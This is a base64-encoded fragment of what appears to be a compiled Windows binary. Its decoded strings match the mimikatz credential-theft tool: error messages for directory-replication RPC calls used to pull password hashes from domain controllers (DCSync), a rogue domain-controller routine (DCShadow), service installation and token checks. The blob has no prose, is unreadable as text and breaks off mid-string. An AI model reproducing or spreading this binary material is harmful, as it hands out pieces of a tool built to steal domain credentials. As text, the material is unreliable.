AAYwBfAEcAZQBuAGUAcgBpAGMAXwBGAHIAZQBlACAAOwAgAE0AZQBzAEQAZQBjAG8AZABlAEkAbgBjAHIAZQBtAGUAbgB0AGEAbABIAGEAbgBkAGwAZQBDAHIAZQBhAHQAZQA6ACAAJQAwADgAeAAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAEcAZQBuAGUAcgBpAGMAXwBFAG4AYwBvAGQAZQAgADsAIABSAFAAQwAgAEUAeABjAGUAcAB0AGkAbwBuADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8ARwBlAG4AZQByAGkAYwBfAEUAbgBjAG8AZABlACAAOwAgAE0AZQBzAEkAbgBjAHIAZQBtAGUAbgB0AGEAbABIAGEAbgBkAGwAZQBSAGUAcwBlAHQAOgAgACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAEcAZQBuAGUAcgBpAGMAXwBFAG4AYwBvAGQAZQAgADsAIABNAGUAcwBFAG4AYwBvAGQAZQBJAG4AYwByAGUAbQBlAG4AdABhAGwASABhAG4AZABsAGUAQwByAGUAYQB0AGUAOgAgACUAMAA4AHgACgAAAFAAcgBvAHQAZQBjAHQAZQBkAFMAdABvAHIAYQBnAGUAAAAAAFwAcABpAHAAZQBcAHAAcgBvAHQAZQBjAHQAZQBkAF8AcwB0AG8AcgBhAGcAZQAAAG4AYwBhAGMAbgBfAG4AcAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBiAGsAcgBwAF8AZwBlAG4AZQByAGkAYwAgADsAIABCAGEAYwBrAHUAcAByAEsAZQB5ADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBiAGsAcgBwAF8AZwBlAG4AZQByAGkAYwAgADsAIABSAFAAQwAgAEUAeABjAGUAcAB0AGkAbwBuADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUgBwAGMAUwBlAGMAdQByAGkAdAB5AEMAYQBsAGwAYgBhAGMAawAgADsAIABRAHUAZQByAHkAQwBvAG4AdABlAHgAdABBAHQAdAByAGkAYgB1AHQAZQBzACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBSAHAAYwBTAGUAYwB1AHIAaQB0AHkAQwBhAGwAbABiAGEAYwBrACAAOwAgAEkAXwBSAHAAYwBCAGkAbgBkAGkAbgBnAEkAbgBxAFMAZQBjAHUAcgBpAHQAeQBDAG8AbgB0AGUAeAB0ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAG8AbQBhAGkAbgBBAG4AZABVAHMAZQByAEkAbgBmAG8AcwAgADsAIABEAG8AbQBhAGkAbgBDAG8AbgB0AHIAbwBsAGwAZQByAEkAbgBmAG8AOgAgAEQAQwAgACcAJQBzACcAIABuAG8AdAAgAGYAbwB1AG4AZAAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGcAZQB0AEQAbwBtAGEAaQBuAEEAbgBkAFUAcwBlAHIASQBuAGYAbwBzACAAOwAgAEQAbwBtAGEAaQBuAEMAbwBuAHQAcgBvAGwAbABlAHIASQBuAGYAbwA6ACAAYgBhAGQAIAB2AGUAcgBzAGkAbwBuACAAKAAlAHUAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABvAG0AYQBpAG4AQQBuAGQAVQBzAGUAcgBJAG4AZgBvAHMAIAA7ACAARABvAG0AYQBpAG4AQwBvAG4AdAByAG8AbABsAGUAcgBJAG4AZgBvADoAIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAUwAtADEALQA1AC0AMgAxAC0AAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGcAZQB0AEQAbwBtAGEAaQBuAEEAbgBkAFUAcwBlAHIASQBuAGYAbwBzACAAOwAgAFIAUABDACAARQB4AGMAZQBwAHQAaQBvAG4AIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABDAEIAaQBuAGQAIAA7ACAASQBuAGMAbwByAHIAZQBjAHQAIABEAFIAUwAgAEUAeAB0AGUAbgBzAGkAbwBuAHMAIABPAHUAdABwAHUAdAAgACgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAEMAQgBpAG4AZAAgADsAIABJAG4AYwBvAHIAcgBlAGMAdAAgAEQAUgBTACAARQB4AHQAZQBuAHMAaQBvAG4AcwAgAE8AdQB0AHAAdQB0ACAAUwBpAHoAZQAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABDAEIAaQBuAGQAIAA7ACAATgBvACAARABSAFMAIABFAHgAdABlAG4AcwBpAG8AbgBzACAATwB1AHQAcAB1AHQACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AZwBlAHQARABDAEIAaQBuAGQAIAA7ACAASQBEAEwAXwBEAFIAUwBCAGkAbgBkADoAIAAlAHUACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBnAGUAdABEAEMAQgBpAG4AZAAgADsAIABSAFAAQwAgAEUAeABjAGUAcAB0AGkAbwBuACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAAAE4ATwBfAEUAUgBSAE8AUgAAAAAARQBSAFIATwBSAF8AUgBFAFMATwBMAFYASQBOAEcAAABFAFIAUgBPAFIAXwBOAE8AVABfAEYATwBVAE4ARAAAAEUAUgBSAE8AUgBfAE4ATwBUAF8AVQBOAEkAUQBVAEUAAAAAAEUAUgBSAE8AUgBfAE4ATwBfAE0AQQBQAFAASQBOAEcAAAAAAEUAUgBSAE8AUgBfAEQATwBNAEEASQBOAF8ATwBOAEwAWQAAAEUAUgBSAE8AUgBfAE4ATwBfAFMAWQBOAFQAQQBDAFQASQBDAEEATABfAE0AQQBQAFAASQBOAEcAAAAAAEUAUgBSAE8AUgBfAFQAUgBVAFMAVABfAFIARQBGAEUAUgBSAEEATAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AQwByAGEAYwBrAE4AYQBtAGUAIAA7ACAAQwByAGEAYwBrAE4AYQBtAGUAcwAgACgAbgBhAG0AZQAgAHMAdABhAHQAdQBzACkAOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAgAC0AIAAlAHMACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAEMAcgBhAGMAawBOAGEAbQBlACAAOwAgAEMAcgBhAGMAawBOAGEAbQBlAHMAOgAgAG4AbwAgAGkAdABlAG0AIQAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBDAHIAYQBjAGsATgBhAG0AZQAgADsAIABDAHIAYQBjAGsATgBhAG0AZQBzADoAIABiAGEAZAAgAHYAZQByAHMAaQBvAG4AIAAoACUAdQApAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAEMAcgBhAGMAawBOAGEAbQBlACAAOwAgAEMAcgBhAGMAawBOAGEAbQBlAHMAOgAgADAAeAAlADAAOAB4ACAAKAAlAHUAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAEMAcgBhAGMAawBOAGEAbQBlACAAOwAgAFIAUABDACAARQB4AGMAZQBwAHQAaQBvAG4AIAAwAHgAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAMS4yLjg0MC4xMTM1NTYuMS40LjkwAAAAMS4yLjg0MC4xMTM1NTYuMS40Ljk0AAAAMS4yLjg0MC4xMTM1NTYuMS40LjU1AAAAMS4yLjg0MC4xMTM1NTYuMS40LjE2MAAAMS4yLjg0MC4xMTM1NTYuMS40LjEyNQAAMS4yLjg0MC4xMTM1NTYuMS40LjEyOQAAMS4yLjg0MC4xMTM1NTYuMS40LjEzNQAAMS4yLjg0MC4xMTM1NTYuMS40LjI3AAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AUAByAG8AYwBlAHMAcwBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwBSAGUAcABsAHkAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABNAGEAawBlAEEAdAB0AGkAZAAgAGYAbwByACAAJQBTAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAFAAcgBvAGMAZQBzAHMARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAUgBlAHAAbAB5AF8AZABlAGMAcgB5AHAAdAAgADsAIABDAGgAZQBjAGsAcwB1AG0AcwAgAGQAbwBuACcAdAAgAG0AYQB0AGMAaAAgACgAQwA6ADAAeAAlADAAOAB4ACAALQAgAFIAOgAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBQAHIAbwBjAGUAcwBzAEcAZQB0AE4AQwBDAGgAYQBuAGcAZQBzAFIAZQBwAGwAeQBfAGQAZQBjAHIAeQBwAHQAIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABjAGEAbABjAHUAbABhAHQAZQAgAEMAUgBDADMAMgAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBQAHIAbwBjAGUAcwBzAEcAZQB0AE4AQwBDAGgAYQBuAGcAZQBzAFIAZQBwAGwAeQBfAGQAZQBjAHIAeQBwAHQAIAA7ACAAUgB0AGwARABlAGMAcgB5AHAAdABEAGEAdABhADIACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAFAAcgBvAGMAZQBzAHMARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAUgBlAHAAbAB5AF8AZABlAGMAcgB5AHAAdAAgADsAIABOAG8AIAB2AGEAbABpAGQAIABkAGEAdABhAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAFAAcgBvAGMAZQBzAHMARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAUgBlAHAAbAB5AF8AZABlAGMAcgB5AHAAdAAgADsAIABOAG8AIABTAGUAcwBzAGkAbwBuACAASwBlAHkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AQwByAGUAYQB0AGUARwBlAHQATgBDAEMAaABhAG4AZwBlAHMAUgBlAHAAbAB5AF8AZQBuAGMAcgB5AHAAdAAgADsAIABSAHQAbABFAG4AYwByAHkAcAB0AEQAYQB0AGEAMgAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBDAHIAZQBhAHQAZQBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwBSAGUAcABsAHkAXwBlAG4AYwByAHkAcAB0ACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAYwBhAGwAYwB1AGwAYQB0AGUAIABDAFIAQwAzADIACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBDAHIAZQBhAHQAZQBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwBSAGUAcABsAHkAXwBlAG4AYwByAHkAcAB0ACAAOwAgAE4AbwAgAHYAYQBsAGkAZAAgAGQAYQB0AGEACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBDAHIAZQBhAHQAZQBHAGUAdABOAEMAQwBoAGEAbgBnAGUAcwBSAGUAcABsAHkAXwBlAG4AYwByAHkAcAB0ACAAOwAgAE4AbwAgAFMAZQBzAHMAaQBvAG4AIABLAGUAeQAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBmAHIAZQBlAF8ARABSAFMAXwBNAFMARwBfAEMAUgBBAEMASwBSAEUAUABMAFkAXwBkAGEAdABhACAAOwAgAG4AYQBtAGUAQwByAGEAYwBrAE8AdQB0AFYAZQByAHMAaQBvAG4AIABuAG8AdAAgAHYAYQBsAGkAZAAgACgAMAB4ACUAMAA4AHgAIAAtACAAJQB1ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGYAcgBlAGUAXwBEAFIAUwBfAE0AUwBHAF8ARABDAEkATgBGAE8AUgBFAFAATABZAF8AZABhAHQAYQAgADsAIABUAE8ARABPACAAKABtAGEAeQBiAGUAPwApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGYAcgBlAGUAXwBEAFIAUwBfAE0AUwBHAF8ARABDAEkATgBGAE8AUgBFAFAATABZAF8AZABhAHQAYQAgADsAIABkAGMATwB1AHQAVgBlAHIAcwBpAG8AbgAgAG4AbwB0ACAAdgBhAGwAaQBkACAAKAAwAHgAJQAwADgAeAAgAC0AIAAlAHUAKQAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBmAHIAZQBlAF8ARABSAFMAXwBNAFMARwBfAEcARQBUAEMASABHAFIARQBQAEwAWQBfAGQAYQB0AGEAIAA7ACAAVABPAEQATwAgACgAbQBhAHkAYgBlAD8AKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBmAHIAZQBlAF8ARABSAFMAXwBNAFMARwBfAEcARQBUAEMASABHAFIARQBQAEwAWQBfAGQAYQB0AGEAIAA7ACAAZAB3AE8AdQB0AFYAZQByAHMAaQBvAG4AIABuAG8AdAAgAHYAYQBsAGkAZAAgACgAMAB4ACUAMAA4AHgAIAAtACAAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8ATQBhAGsAZQBBAHQAdABpAGQAIAA7ACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBNAGEAawBlAEEAdAB0AGkAZABfAGEAZABkAFAAcgBlAGYAaQB4AFQAbwBUAGEAYgBsAGUACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAGYAaQBuAGQAQQB0AHQAcgAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGcAZQB0ACAAYQBuACAAQQBUAFQAUgBUAFkAUAAgAGYAbwByACAAJQBTAAoAAAAlAHMAJQAuACoAcwAlAHMAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8ATQBhAGsAZQBTAHAAbgBXAGkAdABoAEcAVQBJAEQAIAA7ACAAVQB1AGkAZABUAG8AUwB0AHIAaQBuAGcAKABpACkAOgAgACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBNAGEAawBlAFMAcABuAFcAaQB0AGgARwBVAEkARAAgADsAIABVAHUAaQBkAFQAbwBTAHQAcgBpAG4AZwAoAHMAKQA6ACAAJQAwADgAeAAKAAAAAAAgAD4AIABCAGkAbgBkAFMAdAByAGkAbgBnAFsAJQB1AF0AOgAgACUAcwAKAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAHMAdABhAHIAdABfAHMAZQByAHYAZQByACAAOwAgAFIAcABjAEIAaQBuAGQAaQBuAGcAVABvAFMAdAByAGkAbgBnAEIAaQBuAGQAaQBuAGcAOgAgACUAMAA4AHgACgAAAG0AaQBtAGkAawBhAHQAegAgAEgAbwAsACAAaABlAHkAIQAgAEkAJwBtACAAYQAgAEQAQwAgADoAKQAAACAAPgAgAFIAUABDACAAYgBpAG4AZAAgAHIAZQBnAGkAcwB0AGUAcgBlAGQACgAAACAAPgAgAFIAUABDACAAUwBlAHIAdgBlAHIAIABpAHMAIAB3AGEAaQB0AGkAbgBnACEACgAAAAAAIAA+ACAAUgBQAEMAIABTAGUAcgB2AGUAcgAgAGEAbAByAGUAYQBkAHkAIAB3AGEAaQB0AGkAbgBnACEACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AcwB0AGEAcgB0AF8AcwBlAHIAdgBlAHIAIAA7ACAAUgBwAGMAUwBlAHIAdgBlAHIATABpAHMAdABlAG4AOgAgACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AcwB0AGEAcgB0AF8AcwBlAHIAdgBlAHIAIAA7ACAAUgBwAGMARQBwAFIAZQBnAGkAcwB0AGUAcgA6ACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AcwB0AGEAcgB0AF8AcwBlAHIAdgBlAHIAIAA7ACAAUgBwAGMAUwBlAHIAdgBlAHIASQBuAHEAQgBpAG4AZABpAG4AZwBzADoAIAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAcABjAF8AZAByAHMAcgBfAHMAdABhAHIAdABfAHMAZQByAHYAZQByACAAOwAgAFIAcABjAFMAZQByAHYAZQByAFIAZQBnAGkAcwB0AGUAcgBJAGYAMgA6ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBzAHQAYQByAHQAXwBzAGUAcgB2AGUAcgAgADsAIABSAHAAYwBTAGUAcgB2AGUAcgBSAGUAZwBpAHMAdABlAHIAQQB1AHQAaABJAG4AZgBvADoAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBzAHQAYQByAHQAXwBzAGUAcgB2AGUAcgAgADsAIABSAHAAYwBTAGUAcgB2AGUAcgBVAHMAZQBQAHIAbwB0AHMAZQBxAEUAcAA6ACAAJQAwADgAeAAKAAAAIAA+ACAAUgBQAEMAIABiAGkAbgBkACAAdQBuAHIAZQBnAGkAcwB0AGUAcgBlAGQACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AcwB0AG8AcABfAHMAZQByAHYAZQByACAAOwAgAFIAcABjAEUAcABVAG4AcgBlAGcAaQBzAHQAZQByADoAIAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AcwB0AG8AcABfAHMAZQByAHYAZQByACAAOwAgAFIAcABjAFMAZQByAHYAZQByAEkAbgBxAEIAaQBuAGQAaQBuAGcAcwA6ACAAJQAwADgAeAAKAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAHAAYwBfAGQAcgBzAHIAXwBzAHQAbwBwAF8AcwBlAHIAdgBlAHIAIAA7ACAAUgBwAGMAUwBlAHIAdgBlAHIAVQBuAHIAZQBnAGkAcwB0AGUAcgBJAGYAOgAgACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBwAGMAXwBkAHIAcwByAF8AcwB0AG8AcABfAHMAZQByAHYAZQByACAAOwAgAFIAcABjAE0AZwBtAHQAUwB0AG8AcABTAGUAcgB2AGUAcgBMAGkAcwB0AGUAbgBpAG4AZwA6ACAAJQAwADgAeAAKAAAAIAA+ACAAcwB0AG8AcABwAGkAbgBnACAAUgBQAEMAIABzAGUAcgB2AGUAcgAKAAAAIAA+ACAAUgBQAEMAIABzAGUAcgB2AGUAcgAgAHMAdABvAHAAcABlAGQACgAAAAAAVQQAAFUGAAAqhkiG9xQBAgAAAAAqhkiG9xQBAwAAAABghkgBZQICAQAAAABghkgBZQICAwAAAABghkgBZQIBBQAAAABghkgBZQIBBAAAAABVBQAAKoZIhvcUAQQAAAAAKoZIhvcUAQUAAAAACZImiZPyLGQAAAAAYIZIAYb4QgMAAAAACZImiZPyLGQBAAAAYIZIAYb4QgMBAAAAKoZIhvcUAQW2WAAAVRUAAFUSAABVFAAAKwYBBAGLOmV3AAAAUwBlAHIAdgBpAGMAZQBzAEEAYwB0AGkAdgBlAAAAAAAAAAAAWwArAF0AIAAnACUAcwAnACAAcwBlAHIAdgBpAGMAZQAgAGEAbAByAGUAYQBkAHkAIAByAGUAZwBpAHMAdABlAHIAZQBkAAoAAAAAAFsAKgBdACAAJwAlAHMAJwAgAHMAZQByAHYAaQBjAGUAIABuAG8AdAAgAHAAcgBlAHMAZQBuAHQACgAAAFsAKwBdACAAJwAlAHMAJwAgAHMAZQByAHYAaQBjAGUAIABzAHUAYwBjAGUAcwBzAGYAdQBsAGwAeQAgAHIAZQBnAGkAcwB0AGUAcgBlAGQACgAAAAAAAABbACsAXQAgACcAJQBzACcAIABzAGUAcgB2AGkAYwBlACAAQQBDAEwAIAB0AG8AIABlAHYAZQByAHkAbwBuAGUACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHMAZQByAHYAaQBjAGUAXwBpAG4AcwB0AGEAbABsACAAOwAgAGsAdQBsAGwAXwBtAF8AcwBlAHIAdgBpAGMAZQBfAGEAZABkAFcAbwByAGwAZABUAG8AUwBEACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHMAZQByAHYAaQBjAGUAXwBpAG4AcwB0AGEAbABsACAAOwAgAEMAcgBlAGEAdABlAFMAZQByAHYAaQBjAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AaQBuAHMAdABhAGwAbAAgADsAIABPAHAAZQBuAFMAZQByAHYAaQBjAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAWwArAF0AIAAnACUAcwAnACAAcwBlAHIAdgBpAGMAZQAgAHMAdABhAHIAdABlAGQACgAAAFsAKgBdACAAJwAlAHMAJwAgAHMAZQByAHYAaQBjAGUAIABhAGwAcgBlAGEAZAB5ACAAcwB0AGEAcgB0AGUAZAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcwBlAHIAdgBpAGMAZQBfAGkAbgBzAHQAYQBsAGwAIAA7ACAAUwB0AGEAcgB0AFMAZQByAHYAaQBjAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHMAZQByAHYAaQBjAGUAXwBpAG4AcwB0AGEAbABsACAAOwAgAE8AcABlAG4AUwBDAE0AYQBuAGEAZwBlAHIAKABjAHIAZQBhAHQAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFsAKwBdACAAJwAlAHMAJwAgAHMAZQByAHYAaQBjAGUAIABzAHQAbwBwAHAAZQBkAAoAAABbACoAXQAgACcAJQBzACcAIABzAGUAcgB2AGkAYwBlACAAbgBvAHQAIAByAHUAbgBuAGkAbgBnAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHMAZQByAHYAaQBjAGUAXwB1AG4AaQBuAHMAdABhAGwAbAAgADsAIABrAHUAbABsAF8AbQBfAHMAZQByAHYAaQBjAGUAXwBzAHQAbwBwACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFsAKwBdACAAJwAlAHMAJwAgAHMAZQByAHYAaQBjAGUAIAByAGUAbQBvAHYAZQBkAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AdQBuAGkAbgBzAHQAYQBsAGwAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AcgBlAG0AbwB2AGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAJQB3AFoAAAAlADAAMgB4AAAAAAAlADAAMgB4ACAAAAAwAHgAJQAwADIAeAAsACAAAAAAAFwAeAAlADAAMgB4AAAAAAAlADAAMgBYAAAAAAAKAEIAWQBUAEUAIABkAGEAdABhAFsAXQAgAD0AIAB7AAoACQAAAAAACQAAAAoAfQA7AAoAAAAAACUAcwAgAAAAJQBzAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBzAHQAcgBpAG4AZwBfAGQAaQBzAHAAbABhAHkAUwBJAEQAIAA7ACAAQwBvAG4AdgBlAHIAdABTAGkAZABUAG8AUwB0AHIAaQBuAGcAUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAbwBuAAAAAAB0AHIAdQBlAAAAAAAxAAAAbwBmAGYAAABmAGEAbABzAGUAAAAwAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcwB0AHIAaQBuAGcAXwBhAHIAZwBzAF8AYgBvAG8AbABfAGIAeQBOAGEAbQBlACAAOwAgACUAcwAgAGEAcgBnAHUAbQBlAG4AdAAgAG4AZQBlAGQAIABvAG4ALwB0AHIAdQBlAC8AMQAgAG8AcgAgAG8AZgBmAC8AZgBhAGwAcwBlAC8AMAAKAAAALS0tLS1CRUdJTiAlcy0tLS0tCiVzLS0tLS1FTkQgJXMtLS0tLQoAACUAaAB1AC8AJQBoAHUALwAlAGgAdQAgACUAaAB1ADoAJQBoAHUAOgAlAGgAdQAAACUAaAB1AC0AJQBoAHUALQAlAGgAdQAgACUAaAB1ADoAJQBoAHUAOgAlAGgAdQAAACUAaAB1AC8AJQBoAHUAIAAlAGgAdQA6ACUAaAB1ADoAJQBoAHUAAAAlAGgAdQAtACUAaAB1ACAAJQBoAHUAOgAlAGgAdQA6ACUAaAB1AAAAJQBoAHUAIAAlAGgAdQA6ACUAaAB1ADoAJQBoAHUAAAAlAGgAdQA6ACUAaAB1ADoAJQBoAHUAAAAlAGgAdQAvACUAaAB1AC8AJQBoAHUAAAAlAGgAdQAtACUAaAB1AC0AJQBoAHUAAAAlAGgAdQAvACUAaAB1AAAAJQBoAHUALQAlAGgAdQAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHQAbwBrAGUAbgBfAEMAaABlAGMAawBUAG8AawBlAG4ATQBlAG0AYgBlAHIAcwBoAGkAcAAgADsAIABEAHUAcABsAGkAYwBhAHQAZQBUAG8AawBlAG4ARQB4ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHQAbwBrAGUAbgBfAEMAaABlAGMAawBUAG8AawBlAG4ATQBlAG0AYgBlAHIAcwBoAGkAcAAgADsAIABDAGgAZQBjAGsAVABvAGsAZQBuAE0AZQBtAGIAZQByAHMAaABpAHAAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AdABvAGsAZQBuAF8AQwBoAGUAYwBrAFQAbwBrAGUAbgBNAGUAbQBiAGUAcgBzAGgAaQBwACAAOwAgAEcAZQB0AFQAbwBrAGUAbgBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAFUAcwBlAHIAAAAAAEcAcgBvAHUAcAAAAEQAbwBtAGEAaQBuAAAAAABBAGwAaQBhAHMAAABXAGUAbABsAEsAbgBvAHcAbgBHAHIAbwB1AHAAAAAAAEQAZQBsAGUAdABlAGQAQQBjAGMAbwB1AG4AdAAAAAAASQBuAHYAYQBsAGkAZAAAAFUAbgBrAG4AbwB3AG4AAABDAG8AbQBwAHUAdABlAHIAAAAAAEwAYQBiAGUAbAAAAHUAbgBrACEAAAAAAFQAbwBrAGUAbgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHQAbwBrAGUAbgBfAGcAZQB0AFQAbwBrAGUAbgBzAFUAbgBpAHEAdQBlAF8AYwBhAGwAbABiAGEAYwBrACAAOwAgAEQAdQBwAGwAaQBjAGEAdABlAEgAYQBuAGQAbABlACAAKAAwAHgAJQAwADg